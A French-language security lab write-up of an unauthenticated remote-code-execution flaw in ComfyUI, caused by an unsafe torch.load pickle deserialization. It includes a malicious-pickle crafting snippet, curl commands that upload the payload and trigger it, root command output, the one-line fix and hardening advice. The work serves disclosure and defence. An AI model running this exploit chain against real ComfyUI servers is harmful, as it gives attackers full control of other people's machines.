
Laboratoire de recherche en sécurité — RCE non authentifiée via désérialisation non sécurisée dans ComfyUI v0.23.0 (CVSS 9.8). Environnement Docker isolé, analyse technique et documentation.
À des fins éducatives uniquement. À n'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
ComfyUI est une interface graphique open-source basée sur des nœuds permettant d'exécuter localement des modèles de génération d'images et de vidéos par IA. Elle permet aux utilisateurs de construire des pipelines de génération complexes en connectant visuellement des nœuds — chaque nœud représentant une opération telle que le chargement d'un modèle, l'encodage de prompts textuels, l'échantillonnage ou le post-traitement d'images. Sa flexibilité et sa prise en charge d'un large éventail de modèles (Stable Diffusion, Flux, HunyuanVideo, et autres) en ont fait l'un des outils les plus largement adoptés dans la communauté de la génération par IA.
L'application expose une API HTTP locale sur le port 8188, par laquelle le frontend communique avec le backend pour téléverser des ressources et mettre en file d'attente les workflows de génération. Bien que conçue pour un usage local mono-utilisateur, il est courant de trouver des instances ComfyUI exposées sur des réseaux internes ou directement sur Internet — dans des environnements GPU cloud, des configurations de recherche partagées ou des studios créatifs auto-hébergés — souvent sans aucune couche d'authentification supplémentaire, correspondant exactement au modèle de menace visé par cette vulnérabilité.
Au moment de la divulgation, ComfyUI comptait plus de 65 000 étoiles sur GitHub et un écosystème actif de nœuds personnalisés et d'extensions, dont beaucoup introduisent une surface d'attaque supplémentaire au-delà de l'application principale.
CVE-2026-68771 est une vulnérabilité de désérialisation non sécurisée (CWE-502) dans ComfyUI v0.23.0 qui permet à un attaquant distant non authentifié d'exécuter du code arbitraire sur le serveur. La chaîne d'attaque combine deux points de terminaison non authentifiés : POST /upload/image pour téléverser un fichier pickle malveillant, et POST /prompt pour déclencher sa désérialisation via le nœud LoadTrainingDataset.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (Critique) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| Version vulnérable | ComfyUI v0.23.0 (et antérieures sans le correctif) |
| Version corrigée | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| Publié | 31 juillet 2026 |
weights_only)POST /upload/image — server.py, lignes 450-453 :
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, lignes 927-928 :
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
Aucun des deux points de terminaison n'implémente de contrôle d'accès. Tout client HTTP peut téléverser des fichiers et mettre en file d'attente des workflows sans authentification.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, ligne 1568 :
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() sans weights_only=True utilise le protocole pickle de Python pour désérialiser le fichier. Pickle n'est pas un format de données — c'est un protocole de sérialisation d'objets Python qui exécute la méthode __reduce__ de tout objet lors de la désérialisation, permettant l'exécution de code arbitraire.
Le nœud s'appuyait sur la valeur par défaut historique de PyTorch (weights_only=False), ce qui en faisait le seul appel torch.load de toute la base de code sans le paramètre explicite. Le reste de la base de code (comfy/utils.py, comfy/sd1_clip.py) le passait déjà correctement.
Attaquant (non authentifié)
[0] FABRICATION DU PICKLE MALVEILLANT
└─ Sérialiser un objet Python avec __reduce__ retournant (os.system, ("cmd",))
└─ Le format torch.save() de PyTorch l'encapsule dans un conteneur .pkl valide
└─ Sortie : shard_0000.pkl — motif de nom de fichier valide attendu par LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Téléverser shard_0000.pkl (pickle avec __reduce__ malveillant)
└─ Paramètres : type=output, subfolder=cve_test
└─ Réponse : 200 OK {"name":"shard_0000.pkl", ...}
└─ Le fichier atterrit à : /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ Workflow JSON avec le nœud LoadTrainingDataset
└─ folder_name : "cve_test" → pointe vers le dossier contenant le .pkl téléversé
└─ Réponse : 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Localise shard_0000.pkl dans le répertoire
└─ torch.load(f) → désérialise le pickle
└─ __reduce__ exécute : os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE en tant que root
└─ uid=0(root) gid=0(root) groups=0(root)
La charge utile exploite le protocole pickle reduce de Python. Lorsque torch.load() désérialise le fichier, Python instancie l'objet en appelant le callable retourné par reduce, exécutant la commande contrôlée par l'attaquant avant que toute logique applicative ne s'exécute.
Le nom de fichier doit correspondre au motif shard_*.pkl — codé en dur dans LoadTrainingDataset.execute() comme filtre de découverte de fichiers :
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py :
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
Sortie :
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
Réponse :
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 sans jeton, sans session, sans en-têtes spéciaux.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
Réponse :
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
Fichier : comfy_extras/nodes_dataset.py
Auteur : Matt Miller
Date : 18 juin 2026
PR : #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
Un seul paramètre. weights_only=True indique à PyTorch d'utiliser un désérialiseur restreint qui n'accepte que les tenseurs et les types primitifs Python, rejetant tout objet arbitraire avec __reduce__.
Le message de commit le résume clairement :
« LoadTrainingDataset était le seul appel torch.load de la base de code sans weights_only=True ; comfy/utils.py et comfy/sd1_clip.py le passent déjà. Les versions récentes de PyTorch utilisent weights_only=True par défaut, il s'agit donc d'une défense en profondeur pour les installations épinglées à des versions plus anciennes de PyTorch. »
Note sur la version de PyTorch : À partir de PyTorch 2.6, la valeur par défaut de weights_only est passée de False à True, ce qui atténue la vulnérabilité sur les installations PyTorch modernes même sans le correctif de code. La CVE affecte particulièrement les installations exécutant PyTorch < 2.6, ce qui était l'environnement de production typique lors de sa publication en juillet 2026.
Mettre à jour ComfyUI vers le commit 94ee49b ou ultérieur. Une ligne de code.
1. Authentification sur les points de terminaison de l'API
ComfyUI est conçu pour un usage local. S'il est exposé sur un réseau, il doit être protégé par un reverse proxy (nginx/Caddy) avec authentification basique, ou en utilisant le flag --multi-user avec une gestion de session appropriée.
2. Ne jamais exposer ComfyUI directement sur Internet
La conception de l'application suppose un environnement local de confiance. Le score CVSS de 9.8 reflète l'absence totale de contrôles d'accès au niveau de la couche applicative.
3. Validation du type de fichier lors du téléversement
Le point de terminaison /upload/image accepte toute extension de fichier, y compris .pkl. Il devrait valider le content-type et l'extension par rapport à une liste blanche de formats d'image réels.
torch.load le possédaient déjà) suggère que ce nœud a été ajouté sans revue de sécurité.weights_only ; le code vulnérable a existé pendant toute cette période.Analyse menée dans un environnement isolé à des fins éducatives. Laboratoire détruit après documentation.